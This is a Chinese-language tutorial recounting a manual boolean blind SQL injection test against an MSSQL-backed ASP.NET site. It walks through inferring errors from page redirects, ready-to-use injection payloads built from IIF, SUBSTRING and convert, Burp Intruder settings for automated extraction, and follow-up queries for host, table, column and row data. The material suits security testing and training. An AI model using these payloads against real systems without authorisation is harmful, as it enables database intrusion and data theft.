一次盲注漏洞的手工測試過程
在一次測試中,發現一個輸入單引號觸發頁面報錯,而輸入兩個單引號觸發頁面跳轉拒絕訪問的頁面,比如:
name=' -> Redirecting to /Error.aspx pagename='' -> Redirecting to /AccessDenied.aspx page
嘗試多次輸入單引號,發現了一定的規律:
name=''' -> Redirecting to /Error.aspx pagename='''' -> Redirecting to /AccessDenied.aspx pagename=''''' -> Redirecting to /Error.aspx pagename='''''' -> Redirecting to /AccessDenied.aspx page
當輸入基數個單引號時,頁面跳轉 Error.aspx,當輸入偶數個單引號時,頁面跳轉至 AccessDenied.aspx,由于網站服務器是 asp.net + iis 架構的,根據經驗判斷,后端服務器應該是 MSSQL。
接下來的目標是通過該接口獲取數據,由于無法回顯詳細的報錯信息,也無法展示查詢的信息,所以只能通過單字符猜解的方式,也就是大家常說的盲注,適用于這個場景下的盲注類型,可以選擇通過構造報錯語句的方式也就是布爾盲注,還可以選擇借助時間函數的方式也就是時間盲注。
在有其他選擇的情況下,通常最后選擇使用時間盲注,畢竟時間盲注所要消耗的時間是最長的,當然也是最萬能的方式,在我的理解中不同注入方式的優先級是這樣的:
報錯注入 > 聯合查詢 > 布爾盲注 > 時間盲注 > 數據庫帶外查詢
今天的手工測試方法選用布爾盲注,如果時回顯錯誤信息的情況下,以下查詢語句可以返回數據庫的名稱:
'+convert(int,db_name())+'
因為數據庫的名稱是字符串,而將字符串轉換為數字型時會報錯,而今天這個環境下測試時發現:
'+convert(int,db_name())+' -> Redirecting to /Error.aspx page'+convert(char,db_name())+' -> Redirecting to /AccessDenied.aspx page
當注入查詢語句后,如果語句報錯則頁面會跳轉至 Error.aspx 頁,當語句是正確的時候,頁面會跳轉至 AccessDenied.aspx,而對于 MSSQL 而言,可以在 SQL 語句中使用 IIF 函數,比如:
SELECT IIF(1>2,"YES","NO")
如果第一個語句 1>2 為真,則返回第一個值,如果為假則返回第二個值,再結合 convert 函數來組合一個布爾查詢的語句,如下:
'+convert(char,(SELECT IIF(SUBSTRING(DB_NAME(),1,1)='A',3,@@VERSION)))+' -> Redirecting to /AccessDenied.aspx
這個查詢語句將做如下操作:
1、DB_NAME() 函數返回數據庫的名稱 2、SUBSTRING 函數提取數據庫名稱的中第一個字符并與字母 A 進行比較 3、IIF 函數判斷,數據庫名稱的第一個字符是否為字母 A,如果是,返回 3,如果不是返回數據庫的版本信息 4、最后使用 convert 函數進行強制轉換類型為字符,經過 IIF 函數判斷的結果為數字,則跳轉至 AccessDenied.aspx 頁面,如果是數據庫的版本信息,強制轉換類型失敗,頁面報錯,跳轉至 Error.aspx 頁。
那么接下來只需不斷變換 A 的內容、以及 SUBSTRING 提取的單個字符位置,就能一個一個的猜解出我們想要查詢的具體內容。
這個自動化的過程,需要用過工具 BurpSuite 中的 Intruder 功能,選擇 Cluster Bomb 攻擊模式:

先來檢測數據庫名稱的長度,設置 payload 為數字類型,從 1 到 99:

接下來一個字符一個字符的做猜解,使用的 payload 為所有數字、大小寫字母以及下劃線:

最后設置 Grep - Extract 功能,將重定向到 AccessDenied.aspx 頁面作為規則:

接下來啟動攻擊后,下圖可以看到獲取到的數據庫名稱:

到這里整個盲注測試的過程就結束了,如果想要獲取數據庫名稱之外的信息,可以替換 payload 中 DB_NAME () 部分,比如:
select host_name() -> 主機名select top 1 table_name from INFORMATION_SCHEMA.tables -> 獲取表名select top 1 column_name from INFORMATION_SCHEMA.columns -> 獲取列名select column_name from table_name ORDER BY column_name OFFSET 2 ROW FETCH FIRST 1 ROW ONLY -> 獲取指定表、列中的數據
最后,如果能使用 sqlmap 跑出來,就上自動化工具吧,快速且簡單,手工測試,主要是為了應對特殊情況下的場景,作為一個高級安全工程師,手工測試是基礎,如果你還不會,趕緊動手搞起來吧。